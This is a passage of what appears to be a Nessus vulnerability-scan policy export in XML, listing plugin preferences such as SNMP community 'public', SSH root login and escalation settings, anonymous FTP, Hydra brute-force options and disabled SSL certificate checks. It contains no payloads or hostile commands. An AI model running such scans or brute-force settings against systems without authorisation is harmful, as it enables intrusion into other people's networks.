137 <preferenceValues>Map applications;Just grab banners;Port scan only</preferenceValues>
138 <selectedValue>Map applications;Just grab banners;Port scan only</selectedValue>
139 </item>
140 <item><pluginName>amap (NASL wrapper)</pluginName>
141 <pluginId>14663</pluginId>
142 <fullName>amap (NASL wrapper)[checkbox]:Quicker</fullName>
143 <preferenceName>Quicker</preferenceName>
144 <preferenceType>checkbox</preferenceType>
145 <preferenceValues>no</preferenceValues>
146 <selectedValue>no</selectedValue>
147 </item>
148 <item><pluginName>amap (NASL wrapper)</pluginName>
149 <pluginId>14663</pluginId>
150 <fullName>amap (NASL wrapper)[checkbox]:UDP scan (disabled in safe_checks)</fullName>
151 <preferenceName>UDP scan (disabled in safe_checks)</preferenceName>
152 <preferenceType>checkbox</preferenceType>
153 <preferenceValues>no</preferenceValues>
154 <selectedValue>no</selectedValue>
155 </item>
156 <item><pluginName>amap (NASL wrapper)</pluginName>
157 <pluginId>14663</pluginId>
158 <fullName>amap (NASL wrapper)[checkbox]:SSL (disabled in safe_checks)</fullName>
159 <preferenceName>SSL (disabled in safe_checks)</preferenceName>
160 <preferenceType>checkbox</preferenceType>
161 <preferenceValues>yes</preferenceValues>
162 <selectedValue>yes</selectedValue>
163 </item>
164 <item><pluginName>amap (NASL wrapper)</pluginName>
165 <pluginId>14663</pluginId>
166 <fullName>amap (NASL wrapper)[checkbox]:RPC (disabled in safe_checks)</fullName>
167 <preferenceName>RPC (disabled in safe_checks)</preferenceName>
168 <preferenceType>checkbox</preferenceType>
169 <preferenceValues>yes</preferenceValues>
170 <selectedValue>yes</selectedValue>
171 </item>
172 <item><pluginName>amap (NASL wrapper)</pluginName>
173 <pluginId>14663</pluginId>
174 <fullName>amap (NASL wrapper)[entry]:Parallel tasks</fullName>
175 <preferenceName>Parallel tasks</preferenceName>
176 <preferenceType>entry</preferenceType>
177 <preferenceValues></preferenceValues>
178 <selectedValue></selectedValue>
179 </item>
180 <item><pluginName>amap (NASL wrapper)</pluginName>
181 <pluginId>14663</pluginId>
182 <fullName>amap (NASL wrapper)[entry]:Connection retries</fullName>
183 <preferenceName>Connection retries</preferenceName>
184 <preferenceType>entry</preferenceType>
185 <preferenceValues></preferenceValues>
186 <selectedValue></selectedValue>
187 </item>
188 <item><pluginName>amap (NASL wrapper)</pluginName>
189 <pluginId>14663</pluginId>
190 <fullName>amap (NASL wrapper)[entry]:Connection timeout</fullName>
191 <preferenceName>Connection timeout</preferenceName>
192 <preferenceType>entry</preferenceType>
193 <preferenceValues></preferenceValues>
194 <selectedValue></selectedValue>
195 </item>
196 <item><pluginName>amap (NASL wrapper)</pluginName>
197 <pluginId>14663</pluginId>
198 <fullName>amap (NASL wrapper)[entry]:Read timeout</fullName>
199 <preferenceName>Read timeout</preferenceName>
200 <preferenceType>entry</preferenceType>
201 <preferenceValues></preferenceValues>
202 <selectedValue></selectedValue>
203 </item>
204 <item><pluginName>SNMP settings</pluginName>
205 <pluginId>19762</pluginId>
206 <fullName>SNMP settings[entry]:Community name :</fullName>
207 <preferenceName>Community name :</preferenceName>
208 <preferenceType>entry</preferenceType>
209 <preferenceValues>public</preferenceValues>
210 <selectedValue>public</selectedValue>
211 </item>
212 <item><pluginName>SNMP settings</pluginName>
213 <pluginId>19762</pluginId>
214 <fullName>SNMP settings[entry]:Community name (1) :</fullName>
215 <preferenceName>Community name (1) :</preferenceName>
216 <preferenceType>entry</preferenceType>
217 <preferenceValues></preferenceValues>
218 <selectedValue></selectedValue>
219 </item>
220 <item><pluginName>SNMP settings</pluginName>
221 <pluginId>19762</pluginId>
222 <fullName>SNMP settings[entry]:Community name (2) :</fullName>
223 <preferenceName>Community name (2) :</preferenceName>
224 <preferenceType>entry</preferenceType>
225 <preferenceValues></preferenceValues>
226 <selectedValue></selectedValue>
227 </item>
228 <item><pluginName>SNMP settings</pluginName>
229 <pluginId>19762</pluginId>
230 <fullName>SNMP settings[entry]:Community name (3) :</fullName>
231 <preferenceName>Community name (3) :</preferenceName>
232 <preferenceType>entry</preferenceType>
233 <preferenceValues></preferenceValues>
234 <selectedValue></selectedValue>
235 </item>
236 <item><pluginName>SNMP settings</pluginName>
237 <pluginId>19762</pluginId>
238 <fullName>SNMP settings[entry]:UDP port :</fullName>
239 <preferenceName>UDP port :</preferenceName>
240 <preferenceType>entry</preferenceType>
241 <preferenceValues>161</preferenceValues>
242 <selectedValue>161</selectedValue>
243 </item>
244 <item><pluginName>SNMP settings</pluginName>
245 <pluginId>19762</pluginId>
246 <fullName>SNMP settings[entry]:SNMPv3 user name :</fullName>
247 <preferenceName>SNMPv3 user name :</preferenceName>
248 <preferenceType>entry</preferenceType>
249 <preferenceValues></preferenceValues>
250 <selectedValue></selectedValue>
251 </item>
252 <item><pluginName>SNMP settings</pluginName>
253 <pluginId>19762</pluginId>
254 <fullName>SNMP settings[password]:SNMPv3 authentication password :</fullName>
255 <preferenceName>SNMPv3 authentication password :</preferenceName>
256 <preferenceType>password</preferenceType>
257 <preferenceValues></preferenceValues>
258 <selectedValue></selectedValue>
259 </item>
260 <item><pluginName>SNMP settings</pluginName>
261 <pluginId>19762</pluginId>
262 <fullName>SNMP settings[radio]:SNMPv3 authentication algorithm :</fullName>
263 <preferenceName>SNMPv3 authentication algorithm :</preferenceName>
264 <preferenceType>radio</preferenceType>
265 <preferenceValues>MD5;SHA1</preferenceValues>
266 <selectedValue>MD5;SHA1</selectedValue>
267 </item>
268 <item><pluginName>SNMP settings</pluginName>
269 <pluginId>19762</pluginId>
270 <fullName>SNMP settings[password]:SNMPv3 privacy password :</fullName>
271 <preferenceName>SNMPv3 privacy password :</preferenceName>
272 <preferenceType>password</preferenceType>
273 <preferenceValues></preferenceValues>
274 <selectedValue></selectedValue>
275 </item>
276 <item><pluginName>SNMP settings</pluginName>
277 <pluginId>19762</pluginId>
278 <fullName>SNMP settings[radio]:SNMPv3 privacy algorithm :</fullName>
279 <preferenceName>SNMPv3 privacy algorithm :</preferenceName>
280 <preferenceType>radio</preferenceType>
281 <preferenceValues>DES</preferenceValues>
282 <selectedValue>DES</selectedValue>
283 </item>
284 <item><pluginName>Good MDM Settings</pluginName>
285 <pluginId>66963</pluginId>
286 <fullName>Good MDM Settings[entry]:GMC Server :</fullName>
287 <preferenceName>GMC Server :</preferenceName>
288 <preferenceType>entry</preferenceType>
289 <preferenceValues></preferenceValues>
290 <selectedValue></selectedValue>
291 </item>
292 <item><pluginName>Good MDM Settings</pluginName>
293 <pluginId>66963</pluginId>
294 <fullName>Good MDM Settings[entry]:Port :</fullName>
295 <preferenceName>Port :</preferenceName>
296 <preferenceType>entry</preferenceType>
297 <preferenceValues></preferenceValues>
298 <selectedValue></selectedValue>
299 </item>
300 <item><pluginName>Good MDM Settings</pluginName>
301 <pluginId>66963</pluginId>
302 <fullName>Good MDM Settings[entry]:Domain :</fullName>
303 <preferenceName>Domain :</preferenceName>
304 <preferenceType>entry</preferenceType>
305 <preferenceValues></preferenceValues>
306 <selectedValue></selectedValue>
307 </item>
308 <item><pluginName>Good MDM Settings</pluginName>
309 <pluginId>66963</pluginId>
310 <fullName>Good MDM Settings[entry]:Username :</fullName>
311 <preferenceName>Username :</preferenceName>
312 <preferenceType>entry</preferenceType>
313 <preferenceValues></preferenceValues>
314 <selectedValue></selectedValue>
315 </item>
316 <item><pluginName>Good MDM Settings</pluginName>
317 <pluginId>66963</pluginId>
318 <fullName>Good MDM Settings[password]:Password :</fullName>
319 <preferenceName>Password :</preferenceName>
320 <preferenceType>password</preferenceType>
321 <preferenceValues></preferenceValues>
322 <selectedValue></selectedValue>
323 </item>
324 <item><pluginName>Good MDM Settings</pluginName>
325 <pluginId>66963</pluginId>
326 <fullName>Good MDM Settings[checkbox]:SSL :</fullName>
327 <preferenceName>SSL :</preferenceName>
328 <preferenceType>checkbox</preferenceType>
329 <preferenceValues>yes</preferenceValues>
330 <selectedValue>yes</selectedValue>
331 </item>
332 <item><pluginName>Good MDM Settings</pluginName>
333 <pluginId>66963</pluginId>
334 <fullName>Good MDM Settings[checkbox]:Verify SSL Certificate :</fullName>
335 <preferenceName>Verify SSL Certificate :</preferenceName>
336 <preferenceType>checkbox</preferenceType>
337 <preferenceValues>no</preferenceValues>
338 <selectedValue>no</selectedValue>
339 </item>
340 <item><pluginName>SSH settings</pluginName>
341 <pluginId>14273</pluginId>
342 <fullName>SSH settings[entry]:SSH user name :</fullName>
343 <preferenceName>SSH user name :</preferenceName>
344 <preferenceType>entry</preferenceType>
345 <preferenceValues>root</preferenceValues>
346 <selectedValue>root</selectedValue>
347 </item>
348 <item><pluginName>SSH settings</pluginName>
349 <pluginId>14273</pluginId>
350 <fullName>SSH settings[password]:SSH password (unsafe!) :</fullName>
351 <preferenceName>SSH password (unsafe!) :</preferenceName>
352 <preferenceType>password</preferenceType>
353 <preferenceValues></preferenceValues>
354 <selectedValue></selectedValue>
355 </item>
356 <item><pluginName>SSH settings</pluginName>
357 <pluginId>14273</pluginId>
358 <fullName>SSH settings[file]:SSH public key to use :</fullName>
359 <preferenceName>SSH public key to use :</preferenceName>
360 <preferenceType>file</preferenceType>
361 <preferenceValues></preferenceValues>
362 <selectedValue></selectedValue>
363 </item>
364 <item><pluginName>SSH settings</pluginName>
365 <pluginId>14273</pluginId>
366 <fullName>SSH settings[file]:SSH private key to use :</fullName>
367 <preferenceName>SSH private key to use :</preferenceName>
368 <preferenceType>file</preferenceType>
369 <preferenceValues></preferenceValues>
370 <selectedValue></selectedValue>
371 </item>
372 <item><pluginName>SSH settings</pluginName>
373 <pluginId>14273</pluginId>
374 <fullName>SSH settings[password]:Passphrase for SSH key :</fullName>
375 <preferenceName>Passphrase for SSH key :</preferenceName>
376 <preferenceType>password</preferenceType>
377 <preferenceValues></preferenceValues>
378 <selectedValue></selectedValue>
379 </item>
380 <item><pluginName>SSH settings</pluginName>
381 <pluginId>14273</pluginId>
382 <fullName>SSH settings[radio]:Elevate privileges with :</fullName>
383 <preferenceName>Elevate privileges with :</preferenceName>
384 <preferenceType>radio</preferenceType>
385 <preferenceValues>Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco &apos;enable&apos;</preferenceValues>
386 <selectedValue>Nothing;sudo;su;su+sudo;Cisco &apos;enable&apos;</selectedValue>
387 </item>
388 <item><pluginName>SSH settings</pluginName>
389 <pluginId>14273</pluginId>
390 <fullName>SSH settings[entry]:Privilege elevation binary path (directory) :</fullName>
391 <preferenceName>Privilege elevation binary path (directory) :</preferenceName>
392 <preferenceType>entry</preferenceType>
393 <preferenceValues></preferenceValues>
394 <selectedValue></selectedValue>
395 </item>
396 <item><pluginName>SSH settings</pluginName>
397 <pluginId>14273</pluginId>
398 <fullName>SSH settings[entry]:su login :</fullName>
399 <preferenceName>su login :</preferenceName>
400 <preferenceType>entry</preferenceType>
401 <preferenceValues></preferenceValues>
402 <selectedValue></selectedValue>
403 </item>
404 <item><pluginName>SSH settings</pluginName>
405 <pluginId>14273</pluginId>
406 <fullName>SSH settings[entry]:Escalation account :</fullName>
407 <preferenceName>Escalation account :</preferenceName>
408 <preferenceType>entry</preferenceType>
409 <preferenceValues>root</preferenceValues>
410 <selectedValue>root</selectedValue>
411 </item>
412 <item><pluginName>SSH settings</pluginName>
413 <pluginId>14273</pluginId>
414 <fullName>SSH settings[password]:Escalation password :</fullName>
415 <preferenceName>Escalation password :</preferenceName>
416 <preferenceType>password</preferenceType>
417 <preferenceValues></preferenceValues>
418 <selectedValue></selectedValue>
419 </item>
420 <item><pluginName>SSH settings</pluginName>
421 <pluginId>14273</pluginId>
422 <fullName>SSH settings[file]:SSH known_hosts file :</fullName>
423 <preferenceName>SSH known_hosts file :</preferenceName>
424 <preferenceType>file</preferenceType>
425 <preferenceValues></preferenceValues>
426 <selectedValue></selectedValue>
427 </item>
428 <item><pluginName>SSH settings</pluginName>
429 <pluginId>14273</pluginId>
430 <fullName>SSH settings[entry]:Preferred SSH port :</fullName>
431 <preferenceName>Preferred SSH port :</preferenceName>
432 <preferenceType>entry</preferenceType>
433 <preferenceValues>22</preferenceValues>
434 <selectedValue>22</selectedValue>
435 </item>
436 <item><pluginName>SSH settings</pluginName>
437 <pluginId>14273</pluginId>
438 <fullName>SSH settings[entry]:Client version :</fullName>
439 <preferenceName>Client version :</preferenceName>
440 <preferenceType>entry</preferenceType>
441 <preferenceValues>OpenSSH_5.0</preferenceValues>
442 <selectedValue>OpenSSH_5.0</selectedValue>
443 </item>
444 <item><pluginName>SSH settings</pluginName>
445 <pluginId>14273</pluginId>
446 <fullName>SSH settings[entry]:Additional SSH user name (1) :</fullName>
447 <preferenceName>Additional SSH user name (1) :</preferenceName>
448 <preferenceType>entry</preferenceType>
449 <preferenceValues></preferenceValues>
450 <selectedValue></selectedValue>
451 </item>
452 <item><pluginName>SSH settings</pluginName>
453 <pluginId>14273</pluginId>
454 <fullName>SSH settings[password]:Additional SSH password (1) :</fullName>
455 <preferenceName>Additional SSH password (1) :</preferenceName>
456 <preferenceType>password</preferenceType>
457 <preferenceValues></preferenceValues>
458 <selectedValue></selectedValue>
459 </item>
460 <item><pluginName>SSH settings</pluginName>
461 <pluginId>14273</pluginId>
462 <fullName>SSH settings[entry]:Additional SSH user name (2) :</fullName>
463 <preferenceName>Additional SSH user name (2) :</preferenceName>
464 <preferenceType>entry</preferenceType>
465 <preferenceValues></preferenceValues>
466 <selectedValue></selectedValue>
467 </item>
468 <item><pluginName>SSH settings</pluginName>
469 <pluginId>14273</pluginId>
470 <fullName>SSH settings[password]:Additional SSH password (2) :</fullName>
471 <preferenceName>Additional SSH password (2) :</preferenceName>
472 <preferenceType>password</preferenceType>
473 <preferenceValues></preferenceValues>
474 <selectedValue></selectedValue>
475 </item>
476 <item><pluginName>SSH settings</pluginName>
477 <pluginId>14273</pluginId>
478 <fullName>SSH settings[entry]:Additional SSH user name (3) :</fullName>
479 <preferenceName>Additional SSH user name (3) :</preferenceName>
480 <preferenceType>entry</preferenceType>
481 <preferenceValues></preferenceValues>
482 <selectedValue></selectedValue>
483 </item>
484 <item><pluginName>SSH settings</pluginName>
485 <pluginId>14273</pluginId>
486 <fullName>SSH settings[password]:Additional SSH password (3) :</fullName>
487 <preferenceName>Additional SSH password (3) :</preferenceName>
488 <preferenceType>password</preferenceType>
489 <preferenceValues></preferenceValues>
490 <selectedValue></selectedValue>
491 </item>
492 <item><pluginName>SSH settings</pluginName>
493 <pluginId>14273</pluginId>
494 <fullName>SSH settings[entry]:Additional SSH user name (4) :</fullName>
495 <preferenceName>Additional SSH user name (4) :</preferenceName>
496 <preferenceType>entry</preferenceType>
497 <preferenceValues></preferenceValues>
498 <selectedValue></selectedValue>
499 </item>
500 <item><pluginName>SSH settings</pluginName>
501 <pluginId>14273</pluginId>
502 <fullName>SSH settings[password]:Additional SSH password (4) :</fullName>
503 <preferenceName>Additional SSH password (4) :</preferenceName>
504 <preferenceType>password</preferenceType>
505 <preferenceValues></preferenceValues>
506 <selectedValue></selectedValue>
507 </item>
508 <item><pluginName>SSH settings</pluginName>
509 <pluginId>14273</pluginId>
510 <fullName>SSH settings[entry]:Additional SSH user name (5) :</fullName>
511 <preferenceName>Additional SSH user name (5) :</preferenceName>
512 <preferenceType>entry</preferenceType>
513 <preferenceValues></preferenceValues>
514 <selectedValue></selectedValue>
515 </item>
516 <item><pluginName>SSH settings</pluginName>
517 <pluginId>14273</pluginId>
518 <fullName>SSH settings[password]:Additional SSH password (5) :</fullName>
519 <preferenceName>Additional SSH password (5) :</preferenceName>
520 <preferenceType>password</preferenceType>
521 <preferenceValues></preferenceValues>
522 <selectedValue></selectedValue>
523 </item>
524 <item><pluginName>Hydra: LDAP</pluginName>
525 <pluginId>15877</pluginId>
526 <fullName>Hydra: LDAP[entry]:DN :</fullName>
527 <preferenceName>DN :</preferenceName>
528 <preferenceType>entry</preferenceType>
529 <preferenceValues></preferenceValues>
530 <selectedValue></selectedValue>
531 </item>
532 <item><pluginName>Apple Profile Manager API Settings</pluginName>
533 <pluginId>60032</pluginId>
534 <fullName>Apple Profile Manager API Settings[entry]:Apple Profile Manager server :</fullName>
535 <preferenceName>Apple Profile Manager server :</preferenceName>
536 <preferenceType>entry</preferenceType>
537 <preferenceValues></preferenceValues>
538 <selectedValue></selectedValue>
539 </item>
540 <item><pluginName>Apple Profile Manager API Settings</pluginName>
541 <pluginId>60032</pluginId>
542 <fullName>Apple Profile Manager API Settings[entry]:Apple Profile Manager port :</fullName>
543 <preferenceName>Apple Profile Manager port :</preferenceName>
544 <preferenceType>entry</preferenceType>
545 <preferenceValues>443</preferenceValues>
546 <selectedValue>443</selectedValue>
547 </item>
548 <item><pluginName>Apple Profile Manager API Settings</pluginName>
549 <pluginId>60032</pluginId>
550 <fullName>Apple Profile Manager API Settings[entry]:Apple Profile Manager username :</fullName>
551 <preferenceName>Apple Profile Manager username :</preferenceName>
552 <preferenceType>entry</preferenceType>
553 <preferenceValues></preferenceValues>
554 <selectedValue></selectedValue>
555 </item>
556 <item><pluginName>Apple Profile Manager API Settings</pluginName>
557 <pluginId>60032</pluginId>
558 <fullName>Apple Profile Manager API Settings[password]:Apple Profile Manager password :</fullName>
559 <preferenceName>Apple Profile Manager password :</preferenceName>
560 <preferenceType>password</preferenceType>
561 <preferenceValues></preferenceValues>
562 <selectedValue></selectedValue>
563 </item>
564 <item><pluginName>Apple Profile Manager API Settings</pluginName>
565 <pluginId>60032</pluginId>
566 <fullName>Apple Profile Manager API Settings[checkbox]:SSL :</fullName>
567 <preferenceName>SSL :</preferenceName>
568 <preferenceType>checkbox</preferenceType>
569 <preferenceValues>yes</preferenceValues>
570 <selectedValue>yes</selectedValue>
571 </item>
572 <item><pluginName>Apple Profile Manager API Settings</pluginName>
573 <pluginId>60032</pluginId>
574 <fullName>Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate :</fullName>
575 <preferenceName>Verify SSL Certificate :</preferenceName>
576 <preferenceType>checkbox</preferenceType>
577 <preferenceValues>no</preferenceValues>
578 <selectedValue>no</selectedValue>
579 </item>
580 <item><pluginName>Apple Profile Manager API Settings</pluginName>
581 <pluginId>60032</pluginId>
582 <fullName>Apple Profile Manager API Settings[checkbox]:Force Device Updates :</fullName>
583 <preferenceName>Force Device Updates :</preferenceName>
584 <preferenceType>checkbox</preferenceType>
585 <preferenceValues>yes</preferenceValues>
586 <selectedValue>yes</selectedValue>
587 </item>
588 <item><pluginName>Apple Profile Manager API Settings</pluginName>
589 <pluginId>60032</pluginId>
590 <fullName>Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) :</fullName>
591 <preferenceName>Device Update Timeout (Minutes) :</preferenceName>
592 <preferenceType>entry</preferenceType>
593 <preferenceValues>5</preferenceValues>
594 <selectedValue>5</selectedValue>
595 </item>
596 <item><pluginName>Remote web server screenshot</pluginName>
597 <pluginId>59861</pluginId>
598 <fullName>Remote web server screenshot[checkbox]:Allow Nessus to connect to the cloud to take a screenshot of the public targets</fullName>
599 <preferenceName>Allow Nessus to connect to the cloud to take a screenshot of the public targets</preferenceName>
600 <preferenceType>checkbox</preferenceType>
601 <preferenceValues>no</preferenceValues>
602 <selectedValue>no</selectedValue>
603 </item>
604 <item><pluginName>Patch Management: Red Hat Satellite Server Settings</pluginName>
605 <pluginId>57063</pluginId>
606 <fullName>Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite server(s) [separated w/ semicolons] :</fullName>
607 <preferenceName>Red Hat Satellite server(s) [separated w/ semicolons] :</preferenceName>
608 <preferenceType>entry</preferenceType>
609 <preferenceValues></preferenceValues>
610 <selectedValue></selectedValue>
611 </item>
612 <item><pluginName>Patch Management: Red Hat Satellite Server Settings</pluginName>
613 <pluginId>57063</pluginId>
614 <fullName>Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite port(s) :</fullName>
615 <preferenceName>Red Hat Satellite port(s) :</preferenceName>
616 <preferenceType>entry</preferenceType>
617 <preferenceValues>443</preferenceValues>
618 <selectedValue>443</selectedValue>
619 </item>
620 <item><pluginName>Patch Management: Red Hat Satellite Server Settings</pluginName>
621 <pluginId>57063</pluginId>
622 <fullName>Patch Management: Red Hat Satellite Server Settings[checkbox]:Verify SSL certificates :</fullName>
623 <preferenceName>Verify SSL certificates :</preferenceName>
624 <preferenceType>checkbox</preferenceType>
625 <preferenceValues>no</preferenceValues>
626 <selectedValue>no</selectedValue>
627 </item>
628 <item><pluginName>Patch Management: Red Hat Satellite Server Settings</pluginName>
629 <pluginId>57063</pluginId>
630 <fullName>Patch Management: Red Hat Satellite Server Settings[entry]:Red Hat Satellite username(s) :</fullName>
631 <preferenceName>Red Hat Satellite username(s) :</preferenceName>
632 <preferenceType>entry</preferenceType>
633 <preferenceValues></preferenceValues>
634 <selectedValue></selectedValue>
635 </item>
636 <item><pluginName>Patch Management: Red Hat Satellite Server Settings</pluginName>
637 <pluginId>57063</pluginId>
638 <fullName>Patch Management: Red Hat Satellite Server Settings[password]:Red Hat Satellite password(s) :</fullName>
639 <preferenceName>Red Hat Satellite password(s) :</preferenceName>
640 <preferenceType>password</preferenceType>
641 <preferenceValues></preferenceValues>
642 <selectedValue></selectedValue>
643 </item>
644 <item><pluginName>Hydra: HTTP</pluginName>
645 <pluginId>15873</pluginId>
646 <fullName>Hydra: HTTP[entry]:Web page :</fullName>
647 <preferenceName>Web page :</preferenceName>
648 <preferenceType>entry</preferenceType>
649 <preferenceValues></preferenceValues>
650 <selectedValue></selectedValue>
651 </item>
652 <item><pluginName>SMB Scope</pluginName>
653 <pluginId>10917</pluginId>
654 <fullName>SMB Scope[checkbox]:Request information about the domain</fullName>
655 <preferenceName>Request information about the domain</preferenceName>
656 <preferenceType>checkbox</preferenceType>
657 <preferenceValues>yes</preferenceValues>
658 <selectedValue>yes</selectedValue>
659 </item>
660 <item><pluginName>VMware SOAP API Settings</pluginName>
661 <pluginId>57395</pluginId>
662 <fullName>VMware SOAP API Settings[entry]:VMware user name :</fullName>
663 <preferenceName>VMware user name :</preferenceName>
664 <preferenceType>entry</preferenceType>
665 <preferenceValues></preferenceValues>
666 <selectedValue></selectedValue>
667 </item>
668 <item><pluginName>VMware SOAP API Settings</pluginName>
669 <pluginId>57395</pluginId>
670 <fullName>VMware SOAP API Settings[password]:VMware password :</fullName>
671 <preferenceName>VMware password :</preferenceName>
672 <preferenceType>password</preferenceType>
673 <preferenceValues></preferenceValues>
674 <selectedValue></selectedValue>
675 </item>
676 <item><pluginName>VMware SOAP API Settings</pluginName>
677 <pluginId>57395</pluginId>
678 <fullName>VMware SOAP API Settings[checkbox]:Ignore SSL Certificate :</fullName>
679 <preferenceName>Ignore SSL Certificate :</preferenceName>
680 <preferenceType>checkbox</preferenceType>
681 <preferenceValues>no</preferenceValues>
682 <selectedValue>no</selectedValue>
683 </item>
684 <item><pluginName>Login configurations</pluginName>
685 <pluginId>10870</pluginId>
686 <fullName>Login configurations[entry]:HTTP account :</fullName>
687 <preferenceName>HTTP account :</preferenceName>
688 <preferenceType>entry</preferenceType>
689 <preferenceValues></preferenceValues>
690 <selectedValue></selectedValue>
691 </item>
692 <item><pluginName>Login configurations</pluginName>
693 <pluginId>10870</pluginId>
694 <fullName>Login configurations[password]:HTTP password (sent in clear) :</fullName>
695 <preferenceName>HTTP password (sent in clear) :</preferenceName>
696 <preferenceType>password</preferenceType>
697 <preferenceValues></preferenceValues>
698 <selectedValue></selectedValue>
699 </item>
700 <item><pluginName>Login configurations</pluginName>
701 <pluginId>10870</pluginId>
702 <fullName>Login configurations[entry]:NNTP account :</fullName>
703 <preferenceName>NNTP account :</preferenceName>
704 <preferenceType>entry</preferenceType>
705 <preferenceValues></preferenceValues>
706 <selectedValue></selectedValue>
707 </item>
708 <item><pluginName>Login configurations</pluginName>
709 <pluginId>10870</pluginId>
710 <fullName>Login configurations[password]:NNTP password (sent in clear) :</fullName>
711 <preferenceName>NNTP password (sent in clear) :</preferenceName>
712 <preferenceType>password</preferenceType>
713 <preferenceValues></preferenceValues>
714 <selectedValue></selectedValue>
715 </item>
716 <item><pluginName>Login configurations</pluginName>
717 <pluginId>10870</pluginId>
718 <fullName>Login configurations[entry]:FTP account :</fullName>
719 <preferenceName>FTP account :</preferenceName>
720 <preferenceType>entry</preferenceType>
721 <preferenceValues>anonymous</preferenceValues>
722 <selectedValue>anonymous</selectedValue>
723 </item>
724 <item><pluginName>Login configurations</pluginName>
725 <pluginId>10870</pluginId>
726 <fullName>Login configurations[password]:FTP password (sent in clear) :</fullName>
727 <preferenceName>FTP password (sent in clear) :</preferenceName>
728 <preferenceType>password</preferenceType>
729 <preferenceValues>[email protected]</preferenceValues>
730 <selectedValue>*********</selectedValue>
731 </item>
732 <item><pluginName>Login configurations</pluginName>
733 <pluginId>10870</pluginId>
734 <fullName>Login configurations[entry]:FTP writeable directory :</fullName>
735 <preferenceName>FTP writeable directory :</preferenceName>
736 <preferenceType>entry</preferenceType>
737 <preferenceValues>/incoming</preferenceValues>
738 <selectedValue>/incoming</selectedValue>
739 </item>
740 <item><pluginName>Login configurations</pluginName>
741 <pluginId>10870</pluginId>
742 <fullName>Login configurations[entry]:POP2 account :</fullName>
743 <preferenceName>POP2 account :</preferenceName>
744 <preferenceType>entry</preferenceType>
745 <preferenceValues></preferenceValues>
746 <selectedValue></selectedValue>
747 </item>
748 <item><pluginName>Login configurations</pluginName>
749 <pluginId>10870</pluginId>
750 <fullName>Login configurations[password]:POP2 password (sent in clear) :</fullName>
751 <preferenceName>POP2 password (sent in clear) :</preferenceName>
752 <preferenceType>password</preferenceType>
753 <preferenceValues></preferenceValues>
754 <selectedValue></selectedValue>
755 </item>
756 <item><pluginName>Login configurations</pluginName>
757 <pluginId>10870</pluginId>
758 <fullName>Login configurations[entry]:POP3 account :</fullName>
759 <preferenceName>POP3 account :</preferenceName>
760 <preferenceType>entry</preferenceType>
761 <preferenceValues></preferenceValues>
762 <selectedValue></selectedValue>
763 </item>
764 <item><pluginName>Login configurations</pluginName>
765 <pluginId>10870</pluginId>
766 <fullName>Login configurations[password]:POP3 password (sent in clear) :</fullName>
767 <preferenceName>POP3 password (sent in clear) :</preferenceName>
768 <preferenceType>password</preferenceType>
769 <preferenceValues></preferenceValues>
770 <selectedValue></selectedValue>
771 </item>
772 <item><pluginName>Login configurations</pluginName>
773 <pluginId>10870</pluginId>
774 <fullName>Login configurations[entry]:IMAP account :</fullName>
775 <preferenceName>IMAP account :</preferenceName>
776 <preferenceType>entry</preferenceType>
777 <preferenceValues></preferenceValues>
778 <selectedValue></selectedValue>
779 </item>
780 <item><pluginName>Login configurations</pluginName>
781 <pluginId>10870</pluginId>
782 <fullName>Login configurations[password]:IMAP password (sent in clear) :</fullName>
783 <preferenceName>IMAP password (sent in clear) :</preferenceName>
784 <preferenceType>password</preferenceType>
785 <preferenceValues></preferenceValues>
786 <selectedValue></selectedValue>
787 </item>
788 <item><pluginName>Login configurations</pluginName>
789 <pluginId>10870</pluginId>
790 <fullName>Login configurations[entry]:SMB account :</fullName>
791 <preferenceName>SMB account :</preferenceName>
792 <preferenceType>entry</preferenceType>
793 <preferenceValues></preferenceValues>
794 <selectedValue></selectedValue>
795 </item>
796 <item><pluginName>Login configurations</pluginName>
797 <pluginId>10870</pluginId>
798 <fullName>Login configurations[password]:SMB password :</fullName>
799 <preferenceName>SMB password :</preferenceName>
800 <preferenceType>password</preferenceType>
801 <preferenceValues></preferenceValues>
802 <selectedValue></selectedValue>
803 </item>
804 <item><pluginName>Login configurations</pluginName>
805 <pluginId>10870</pluginId>
806 <fullName>Login configurations[entry]:SMB domain (optional) :</fullName>
807 <preferenceName>SMB domain (optional) :</preferenceName>
808 <preferenceType>entry</preferenceType>
809 <preferenceValues></preferenceValues>
810 <selectedValue></selectedValue>
811 </item>
812 <item><pluginName>Login configurations</pluginName>
813 <pluginId>10870</pluginId>
814 <fullName>Login configurations[radio]:SMB password type :</fullName>
815 <preferenceName>SMB password type :</preferenceName>
816 <preferenceType>radio</preferenceType>
817 <preferenceValues>Password;LM Hash;NTLM Hash</preferenceValues>
818 <selectedValue>Password</selectedValue>
819 </item>
820 <item><pluginName>Login configurations</pluginName>
821 <pluginId>10870</pluginId>
822 <fullName>Login configurations[entry]:Additional SMB account (1) :</fullName>
823 <preferenceName>Additional SMB account (1) :</preferenceName>
824 <preferenceType>entry</preferenceType>
825 <preferenceValues></preferenceValues>
826 <selectedValue></selectedValue>
827 </item>
828 <item><pluginName>Login configurations</pluginName>
829 <pluginId>10870</pluginId>
830 <fullName>Login configurations[password]:Additional SMB password (1) :</fullName>
831 <preferenceName>Additional SMB password (1) :</preferenceName>
832 <preferenceType>password</preferenceType>
833 <preferenceValues></preferenceValues>
834 <selectedValue></selectedValue>
835 </item>
836 <item><pluginName>Login configurations</pluginName>
837 <pluginId>10870</pluginId>
838 <fullName>Login configurations[entry]:Additional SMB domain (optional) (1) :</fullName>
839 <preferenceName>Additional SMB domain (optional) (1) :</preferenceName>
840 <preferenceType>entry</preferenceType>
841 <preferenceValues></preferenceValues>
842 <selectedValue></selectedValue>
843 </item>
844 <item><pluginName>Login configurations</pluginName>
845 <pluginId>10870</pluginId>
846 <fullName>Login configurations[entry]:Additional SMB account (2) :</fullName>
847 <preferenceName>Additional SMB account (2) :</preferenceName>
848 <preferenceType>entry</preferenceType>
849 <preferenceValues></preferenceValues>
850 <selectedValue></selectedValue>
851 </item>
852 <item><pluginName>Login configurations</pluginName>
853 <pluginId>10870</pluginId>
854 <fullName>Login configurations[password]:Additional SMB password (2) :</fullName>
855 <preferenceName>Additional SMB password (2) :</preferenceName>
856 <preferenceType>password</preferenceType>
857 <preferenceValues></preferenceValues>
858 <selectedValue></selectedValue>
859 </item>
860 <item><pluginName>Login configurations</pluginName>
861 <pluginId>10870</pluginId>
